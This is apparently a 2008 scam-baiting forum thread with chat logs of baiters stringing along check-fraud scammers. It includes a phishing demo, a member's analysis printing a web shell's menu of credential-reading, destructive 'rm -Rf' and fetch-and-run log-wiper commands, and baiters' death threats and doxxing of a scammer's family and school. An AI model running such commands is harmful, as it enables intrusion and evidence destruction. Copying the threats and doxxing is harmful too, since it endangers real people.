Ray1: let me sjhow you something
Ray1: its like another proof
Ray1: click on this
Ray1: http://xxxxxxxxxxxxxx [A fake US Bank login screen.]
Ray1: fill anything you like
Ray1: try to log in with ay fake ID and password and i will tell you what you filed in
Ray1: now
Ray1: try it
Me : I did it. [I entered a made-up login and password.]
Ray1: lol
Ray1: this is the username and Password
Ray1: *************Us Bank Byxxxxxxxx ***************
Personal ID: wishonastar
N de Password: xyzabc
[Yes, that's what I entered.]
IP: xxx.xxx.xxx.xxx [I know my IP doesn't identify me, but it still bugs me that he now knows it.]
Ray1: with your IP
Me : Damn, that's amazing.
Ray1: so do you see now
Ray1: proof
Ray1: do you beleive me now?
Me : I still don't see how you got that mailing list.
Ray1: i hacked it
Ray1: exploits
Ray1: http://xxxxxxxxxxxxxx
Ray1: click on this and check it
Ray1: expliots are many there
Ray1: did u see it now?
Ray1: i am teaching you scamming and spamming already lol
Ray1: this are hackers secret. they can kill me for this
Ray1: lol
Ray1: i just hacked your IP
Ray1: you are conected via comcast
Ray1: in carlifornia
Ray1: but you said you are in oregon
Me : yeah, thats the cable company. im in oregon but comcast is in calif.
Ray1: and the zip code is xxxxx
Me : i guess thats comcasts zip code at their headquarter in calif.
Ray1: so can you see and beleive me now
Ray1: so tell me what do i look . who am i to you now?

Quote:
Me : I have to say, that mailing list is a list of church members.
Me : That is particularly disgusting.
Me : Since you pretend to be so religious.
Ray1: there are many ways to get lists
Ray1: i dont spam Church emails
Ray1: i am religious
Ray1: i respect God and them
Ray1: go to google
Ray1: search for this software [email protected] Sp!der g0ld 10.
Ray1: there are many software to hack emails
Ray1: there is [email protected]@ntula
Ray1: so many
Me : You say you dont spam churches, but you do. I see it on my screen.
Ray1: i didnt spam. i hacked and i saw it... i never spammed them. if i do i will tell you
Me : Well, I can see you are a hacker all right.
Ray1: good
Ray1: give me a zip code
Ray1: lets say Wasington zip code
Ray1: just give me a valid one
Ray1: i want to show you something
Ray1: how you can get list from also
Me : OK, well how about the zip code you gave me before. xxxxx.
Ray1: or let me show you
Ray1: i can hack emaisl with your name
Ray1: [a long URL of a Google search]
Ray1: click on that and see
Ray1: click on the 1st result
Ray1: there you will get the emails
Ray1: you can download it [It's an Excel file with a mailing list, including email addies.]
Ray1: do you understand
Me : Well, you certainly know your stuff.
Ray1: good
Ray1: so B0v!s are you gonna report me? are you gonna let them hunt me? what is my punishment?
Me : I wouldnt know who to report you to.
Ray1: lol
Me : Well, really. Who would I report you to?
Ray1: dont tell me that.... if you know who to report me to wont you? you can report to the FBI, securities and stuffs like that. they have good hackers and programmers among them. they can trace me and locate me
Me : I have to say, it seems like you WANT to be reported. Is that it? Are you feeling so guilty that you want to be caught?
Ray1: i felt the guilt. i want to be free. i dont want to go to jail. no one forced me to tell you this. i opeened up to you becasue you showed me love and trust. you care and i do care to.
Me : You're right, I do care. But I still have to wonder. why are you telling me all this?
Ray1: i already told you i quit and i am not going back to this... i want a new life
Me : I know. You said that. But you can easily do that without revealing all this to me. What is the purpose of telling me all this? Do you want me to report you?
Ray1: i want you to know the trust. for you shall know and say the truth and the truth shall set you free. that was what i did. why do you want to report me? will you report me?
Me : God damn you, Ray, why do you do shit like that? Twist my words to be the opposite? Fuck you. I did not say i want to report you. Why do you say I said that when I didn't?
Ray1: i asked a question. that doesnt mean you should abuse me B0v!s.
Ray1: you asked a question and i answered with a question
Me : You said "Why do you want to report me?" That means I want to report you and you want to know why. That is bullshit.
Me : Don't give me that sophistic bullshit.
Me : You know perfectly well that is horseshit.
Me : Fuck you.
Me : If you can't be honest with me, then fuck off.
Ray1: stop saying that
Ray1: i am honest
Ray1: stop using bad words.
Ray1: i never for ones in my life used a bad words on you
Ray1: please stop it
Ray1: lets be 1
Ray1: 1 love, one peace and 1 brother
Me : Then don't say I said something when I did not. That's not what friends do.
Me : If you are going to lie about what I said, then we are not friends.
Ray1: ok good. sorry if i cross ur path
Ray1: i am sre you have gotten all the proof and the secret of [email protected] [email protected] how checks tuned into cash and the genesis of the game

Quote:
Ray1: Anyway B0v!s.
Me : Yes, bro.
Ray1: Are we still friends? Do you still like me despite the fact you know the truth and me?
Me : I love you bro. But I don't like what you do.
Ray1: i know you do and i know you hate with i did.... will you forgive me or what can i do so that you can have mercy on me?
Me : It is not up to me to have mercy on you. I have no power on you. Only God and Koschei are in that position.
Ray1: God is merciful
Ray1: he will have mercy on me
Ray1: you do have power over me B0v!s. we are friends. friends have power on friends
Me : I can do nothing to hurt you, my friend. Thus mercy is meaningless.
Ray1: thank you very much my friend [He misinterpreted "I can do nothing" to mean "I will do nothing"]

Quote:
Ray1: so B0v!s... i am selling my laptop soonest and my connection to pay for some bills
Ray1: i dont know how or when we will be chatting again. if i have cash i can send you mails from cafe. and you hate the phoning system in Nigeria and yet you hate to send txt msgs. what do we do?
Me : If you have money for phone calls, you have money for cafe emails.
Ray1: calling is cheaper
Me : Seriously? How much does a phone call cost you?
Ray1: i can call you with 20naira for 1 minutes and to browse for 1hr will cost me 120 in a cafe. making calls here is save than going to cafes.
Ray1: they can burst your ass in cafe and also hack your emai and change your password or do something harmful to your email in cafe
Ray1: but with phone. you are free and secure....
Ray1: i have a multlinks line. i can talk to you for 30min with just 200naira card. and at times free calls are available on it
Me : This is a mobile phone you're talking about?
Ray1: yes like a land line
Ray1: i have a mobile and a landline. i use the dail up of my land line
Me : You use the land line for your dial up internet?
Ray1: yes
Me : And you make voice calls with your mobile phone?
Ray1: and also my land line tooo
Me : How much money will you get when you sell your laptop?
Ray1: like 100k naira. thats like 800$
Ray1: my bills are more than that

Quote:
Ray1: so B0v!s
Ray1: tell me your plans
Ray1: what are you going to do now
Me : I'm going to pay off all the people with bounced checks.
Me : That will deplete my reserves to zero.
Me : That's if the IRS even lets me get any money.
Me : An employee at the bank told me the IRS is inquiring about my account.
Me : That's not good.
Ray1: what is IRS?
Me : That's the US taxing authority.
Me : You have to pay income tax on all income you earn.
Ray1: are you oweing any tax?
Ray1: how much is the tax?
Me : They are always looking for people who earn money but hide it and don't pay tax on it.
Ray1: paying 8 people will cost you how much ?
Me : This account has built the balance rapidly. It's not my money, it's yours, but they don't know that.
Ray1: then tell them
Me : So they wonder if I am earning a lot of money but not paying tax on it.
Ray1: what can i do to help
Me : Well, nothing yet. Nothing is official yet. I just got this word unofficially from a bank employee.
Me : But if the IRS takes any action against me, I will have to prove the money is not mine.
Me : That is hard to prove.
Me : Every tax cheating asshole would just say Oh that money is not mine.
Me : Nobody believes it.
Ray1: then open a new account and transfer the cash there
Me : Ray, you may be a smart hacker but you know nothing about the bank system.
Me : Do you think nobody will notice that?
Ray1: i know they will and you tell them you pay it off and they will come to find the owner to get the cash.
Ray1: How much is the tax on all the money in your account?
Me : I don't know. The problem is there are penalties for not reporting. Also possible criminal charges. Getting caught by the IRS is extremely bad.
Ray1: wy not report and ask them fast and then pay off.... i dont want any troble for you
Me : It's too late for that. They already have seen the money and I never reported it. You can't just go and pretend it never happened. This may be serious. Thanks a lot, Raymond.
Ray1: You cant say that now. it wont be that serious. God will deliver you i am very sure about that
Ray1: B0v!s can i ask a favour from you?
Me : What's that?
Ray1: can you send me a laptop ? or some cash may be like 1000$?
Me : Is this a joke?
Ray1: No
Me : Every penny in that bank account is stolen.
Me : You pretend I am a rich man and somehow I can come out of this with money.
Me : That is not going to happen.
Ray1: no
Me : And don't give me that God nonsense.
Ray1: ok
Me : First of all, let's assume that somehow the IRS will go away.
Me : Let's assume the people with bounced checks will go away.
Me : Let's pretend I can do whatever I want with the money.
Me : How could I? It is all stolen!
Me : You ripped off $200,000 from innocent people, and left me holding the bag.
Ray1: its good to be honest
Ray1: brb
Ray1: wanna make a call
[He went away for a while.]
Ray1: i am back
Me : So as I said, I am left holding a giant bag of steaming shit, thanks to you.
Ray1: not shit
Ray1: common B0v!s
Ray1: well, i am feeling sleepy
Me : Yeah, ripping off $200,000 is hard work. Especially when someone else is left to take the heat.
Ray1: ok
Ray1: what about the rest checks
Ray1: what are you going to do about it?
Me : What do you mean?
Me : Jesus Christ, I just realized.
Ray1: bye B0v!s
Me : You told me to help [email protected] with a check.
Ray1: just pulling ur legs
Me : A bad check.
[Ray went offline.]

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"GOD WILL POLISH YOU." - W4TER WE4LTH, the lad who can't spell his own funny name
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PostPosted: Mon May 05, 2008 8:28 am Reply with quoteBack to top

@DD - clapping Wow. Terrific stuff.

Interesting when he says he's giving it all up, selling his laptop and connection .... then wants you to send him a laptop and $1000. Typical lad eh? Top baiting.

@Yastreb - Ray stopped answering me some weeks ago so I'm at least spared the whining and grovelling !
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PostPosted: Mon May 05, 2008 2:23 pm Reply with quoteBack to top

Well God may forgive him, but this vicar is out for revenge



Quote:
Rev [email protected] [email protected] to [email protected] University Ibadan


As someone who believes in everyone getting his just deserts, I hope you will visit this page http://mugus.com/knightz/ and take it's contents into account if you are ever asked to supply a reference for [email protected] Ad3tunji David Oluwas3ye

Regards Rev.Jacks

--
From the desk of: Father B.Jacks (B.Th)



Ad3wale doesn't wana see Ray get hurt, thugs loyal to Peter are closing in Shocked

Quote:
Tunji omo, dey com.
dey stay by mokola. [not far from Ray's drop address]
beta put leg for road now broda.
dem tel u peter him die, abi na true
broda abeg comot you place

Wale

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PostPosted: Mon May 05, 2008 5:50 pm Reply with quoteBack to top

@Roger, good idea! It's nice to hope the uni will do something about him, or at least give him a scare. I like the idea of the thugs closing in, too.

arranblonde wrote:
@DD. Let me know if you want N1ck to make contact with Ray 2 as well to give him an indication of the fun he's got himself into ....

OK, let's see how he reacts to today's developments. If Ray 2 doesn't drop me, N1ck can have a go at him.


I'm pretty sure Ray 1 and Ray 2 are not working together. But just in case, I'm telling them both the same story.

B0vis wrote this to Ray 2 after emailing him to come online so we could AIM.

I wrote:
I don't know where you are, but I have to go to the bank now.

8 more people had checks bounce on them. I've been phoning and emailing them, trying to calm them down and plan how to respond. You swore there would be no more bounces. One or two are little business problems to deal with, but this is becoming an avalanche that will bury us.

On top of that, an employee at my bank tipped me off that the IRS is inquiring about my account. As I'm sure you know, you don't want to fuck with the IRS. That's why I'm going to the bank right now, to find out what is going on.

I'll report back what I find out.


Later today, I'll tell him the IRS froze my account.

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PostPosted: Mon May 05, 2008 6:11 pm Reply with quoteBack to top

Dog Dine's Hacking Tips

Well what a day it's been. DD gave me the full transcript of the Ray hackathon, and we've learned some interesting things.

It seems all the exploits are ones Ray looks up on a 0-day exploits site. He's not sharp enough to have come up with some of the technicolour evil I've seen today, but he can play a script and an exploit.

He has used a vulnerability on a church group's website to install a mass-mailer " DoN cEnT" - There are one or two other examples of this on Google, it seems. This tool itself is quite lame, just an HTML interface for sending mail with the host's privs.

He referred to another mailing programme, which names itself Yoga0400 - this one is slightly cleverer, as when someone uploads it to a php site in order to send spam, every single email address they enter gets sent to a central harvesting box on hotmail too, without the boi ever being aware of it (the code is disguised with a bit of base64). This has been brought to Hotmail's attention.

The compromised spreadsheet, not sure how he managed, except it seems to be through a crappy CMS of some sort, I could imagine a 0-day exploit making those just a cinch to access. Regardless, I've warned the portal system provider company that they've had a breach, and suggested they make sure they're patched. Of course it's too late for the guys on that hidden list, especially if they were mailed using the above tool, in which case some guy in Russia is selling their details far and wide as we speak.

The nasty (proper nasty) one is xax.php - this is pure poison for non-windows machines, and even makes AVG on my XP box panic. xax itself is a very plain 3-line php file containing just a few (long) rows of characters. It is brilliantly obfuscated code, with many, many self modifications and references, lots of blind alleys, variable names like 00O0OD00O0, and a fantastic recursive trap if you try to reverse engineer it. I'm obstinate, so I did. The resultant code is pretty nasty stuff. To give you an idea, look at the options menu for what you can do with it...

<SELECT NAME="cmd">
<OPTION VALUE="tar -cvf NEWTAR!!.tar -c '; passthru('pwd'); ;echo '">Tar your current directory. (Only works if your dir. is writable)
<OPTION VALUE="pwd">List your current directory
<OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
<OPTION VALUE="ls -lia">List you current directory\'s files, folders, & permissions
<OPTION VALUE="find / -type f -perm -04000 -ls">find suid files
<OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
<OPTION VALUE="find / -type f -perm -02000 -ls">find sgid files
<OPTION VALUE="find . -type f -perm -02000 -ls">find sgid files in current dir
<OPTION VALUE="uname -a">Kernel version
<OPTION VALUE="w">Logged in users
<OPTION VALUE="lastlog">Last users to connect
<OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
<OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">Users without passwords
<OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Is /etc/ writable?
<OPTION VALUE="which wget curl w3m lynx">We got downloaders? Very Happy
<OPTION VALUE="cat /proc/version /proc/cpuinfo">CpuInfo
<OPTION VALUE="netstat -atup | grep IST">Open ports
<OPTION VALUE="locate gcc">Is gcc installed?
<OPTION VALUE="find / -type f -name config.inc.php">find config.inc.php files
<OPTION VALUE="find . -type f -name config.inc.php">find config.inc.php files in current dir
<OPTION VALUE="find / -type f -name "config*">find config* files
<OPTION VALUE="find . -type f -name "config*">find config* files in current dir
<OPTION VALUE="find / -type f -perm -2 -ls">find all writable files
<OPTION VALUE="find . -type f -perm -2 -ls">find all writable files in current dir
<OPTION VALUE="find / -type d -perm -2 -ls">find all writable directories
<OPTION VALUE="find . -type d -perm -2 -ls">find all writable directories in current dir
<OPTION VALUE="find / -perm -2 -ls">find all writable directories and files
<OPTION VALUE="find . -perm -2 -ls">find all writable directories and files in current dir
<OPTION VALUE="find / -type f -name service.pwd">find all service.pwd files
<OPTION VALUE="find . -type f -name service.pwd">find service.pwd files in current dir\'
<OPTION VALUE="find / -type f -name .htpasswd">find all .htpasswd files
<OPTION VALUE="find . -type f -name .htpasswd">find .htpasswd files in current dir
<OPTION VALUE="find / -type f -name .bash_history">find all .bash_history files
<OPTION VALUE="find . -type f -name .bash_history">find .bash_history files in current dir
<OPTION VALUE="find / -type f -name .mysql_history">find all .mysql_history files
<OPTION VALUE="find . -type f -name .mysql_history">find .mysql_history files in current dir
<OPTION VALUE="find / -type f -name .fetchmailrc">find all .fetchmailrc files
<OPTION VALUE="find . -type f -name .fetchmailrc">find .fetchmailrc files in current dir
<OPTION VALUE="lsattr -va">list file attributes on a Linux second extended file system

<OPTION VALUE="rm -Rf">Format this box.
<OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">Wipelogs (Part 1)
<OPTION VALUE="gcc zap2.c -o zap2">Wipelogs (Part 2)
<OPTION VALUE="./zap2">Wipelogs (Part 3)


(none of this can harm you, it's not the bit that does the work) - it's pretty horrid stuff, and WAAAAAY beyond Ray (or he wouldn't be scrabbling round for coppers). The xax code is for Unix/Linux systems (including Macs), but I'd still suggest you steer well clear of it, it's not nice.

So, if any of you want to ask DD for the full transcript, please be aware that nasty nasty things lie out there and please be very careful. I know this post will mean nothing to many of you, but I just spent five hours of my bank holiday investigating all this, so I thought I'd share for the few it interests Smile

And we owe DD a big gold star for this Smile
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PostPosted: Mon May 05, 2008 6:18 pm Reply with quoteBack to top

The real gold star goes to manbiteslion for being willing to dig through the technicolour evil - and understand what he found!

Thanks a lot!

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PostPosted: Mon May 05, 2008 9:03 pm Reply with quoteBack to top

Roger the Cabin Boy provided a site that had a lot of info on Ray, so K0sch31 sent this just now:

Quote:
Mr James, or rather An1f4l4j3 Ad3tunj1 David Oluw4s3y3,

Your time is closer than you think.

Two of Y3vg3n1y's operatives have decided that they would rather work for me than take a dirt nap, as the Americans say. Therefore, to prove their loyalty to their new master, they have accepted a commission to destroy you.

They are in Nigeria even as we speak. I had been led to believe that you were in the UK, but it turns out that you are a citizen of that benighted country.

If you wish to prepare for your death, I suggest that you do so immediately. My new operatives could find you at any time and my orders were to shoot on sight. Perhaps you might contact your parents, Sunday And B0l4 An1f4l4j3, and make your peace with them; or say your farewells to your former classmates and teachers at Loyola College.

Reflect on your folly as the end approaches.

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PostPosted: Mon May 05, 2008 10:13 pm Reply with quoteBack to top

Yastreb may I suggest you get a fury pet to stroke on the arm of your chair? Oh and please edit your last post so it ends with MWU-HA-HA-HARRR! Laughing

Would you believe I was worried I might get in trouble with you guys for overstepping the mark.

@manbiteslion... yeah, that's just what I was thinking Shocked

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PostPosted: Mon May 05, 2008 10:18 pm Reply with quoteBack to top

@Yastreb,
All right! I knew that personal info about Ray 1 was going to come in handy some day, and now is a great time to drop it on him. I hope it gives him a jolt.

Meanwhile, the pressure mounts on Ray 2. We AIMed when I returned from the bank.

Quote:
Ray2: so what happened ?
Me : We have big trouble.
Me : 10 people's checks bounced.
Me : I told you 8, but 2 more today.
Ray2: God !
Me : This is fuckin ridiculous.
Ray2: yes it is
Ray2: did you call them ?
Me : yes, of course. I've been swamped.
Me : They're pissed and scared and it's a mess.
Me : What kind of financial management do you have over there? Or maybe you don't have any at all.
Ray2: overdrawn on the account
Ray2: this is too bad
Me : Too bad? Too bad? That's all you can say?
Me : This is a debacle.
Ray2: i am thinking man
Ray2: i know you are going through hell
Me : You better think fast.
Ray2: i need to talk to you on the telephone in 1hr
Me : Well, it gets worse.
Ray2: yes
Ray2: i want to do some thinking right now
Me : Well, there's more to think about.
Ray2: can you give 1 hr ?
Me : The IRS froze the bank account.
Ray2: what ?
Me : That's right. I told you a bank employee tipped me the IRS was inquiring about the account.
Me : Now they've frozen it.
Me : The trigger was when you refused to fill out that form. God damn, I told you to fill it, but no, it was too much trouble.
Me : Shit.
Me : I hope you're thinking real good about this.
Ray2: right now, i can't think
Ray2: this is too much
Me : Well, if you can't think, then we're screwed.
Ray2: talking about the checks that bounced
Ray2: are they from the last batch od checks ?
Me : No.
Ray2: or from the previous ones
Me : previous
Ray2: meet me here in 1 hr
Ray2: i need to take a walk
Me : A walk? You need to send money. Not walk.
Ray2: to take a walk while i think
Me : Jesus, Ray, I need a boss who can take action. Be a man, Ray. Take action and fix this.
Ray2: i just told you that i need to do some thinking so pls give me a little break
Ray2: i will here in 1 hr
Me : All right, go take your walk.
Me : We'll talk in an hour.
Ray2: then, we'll decide real fast
Me : And don't be late like you always are.
Ray2: don't worry
Me : 1 hour.
Ray2: yeah
Me : All right. Bye.


I thought he would never come back. After all, the money is essentially gone. But in less than an hour, he was back.

Quote:
Ray2: are you there ?
Me : I'm here, Ray.
Ray2: good
Ray2: at the moment, we need money to get us going
Me : No kidding.
Ray2: so we have to be able to make some fast money
Ray2: although it is very hard to believe that all that money is gone but I'm oing to get my accountants to look in to our books
Ray2: i need to know what went wrong
Ray2: he's what i want to do
Ray2: we need to mail out new checs
Ray2: so i'm oing to send you more list tomorrow
Ray2: in addition to the the last one i ave you
Ray2: are you with me ?
Me : Yes.
Ray2: so what do you say ?
Me : OK, I guess.
Ray2: good
Ray2: i will give you additional 10 more names tomorrow making 22 in all
Ray2: but it's important you mail all tomorrow
Ray2: by next week, you will begin to receive more payments
Ray2: in the meantime, I will look into this matter to determine what happened
Me : OK, thanks.
Ray2: are we good with this
Me : OK, for now.
Ray2: good
Ray2: pls do something about your phone, whener i call, my voice echoes back to me
Ray2: i may need to call you
Me : It doesn't happen for other people calling me.
Ray2: alright then
Ray2: i will be here tomorrow morning between 7am and 8am your time
Me : Please be on time.
Ray2: yes, no problem
Me : Seriously.
Me : This is not a game.
Ray2: no
Me : Your company's reputation is on the line.
Me : If not its existence.
Ray2: yes, i will look into it
Me : All right. I expect you to be here at 7am tomorrow.
Me : Bye.

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PostPosted: Tue May 06, 2008 11:24 am Reply with quoteBack to top

Just found another website containing details about Ray#1

N.B (SWALLOW YOUR COFFEE NOW!)

*Edit sorry, you need to register to see the actual site
Site is now flagged as Dangerous by google, so I removed the link... fancy that!

Screen print here (No need to register)
http://s294.photobucket.com/albums/mm113/RogercabinBoy/R5.jpg

Hope you found that useful Laughing

I bet Ray contacts all his old classmates with news of his new life very soon.

*EDIT 2 friends have accepted Rays buddy request Smile

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PostPosted: Tue May 06, 2008 1:56 pm Reply with quoteBack to top

Roger, clicking that link sometimes gives me an error message and sometimes gives a login screen. Do you have to register in order to see Ray's page?

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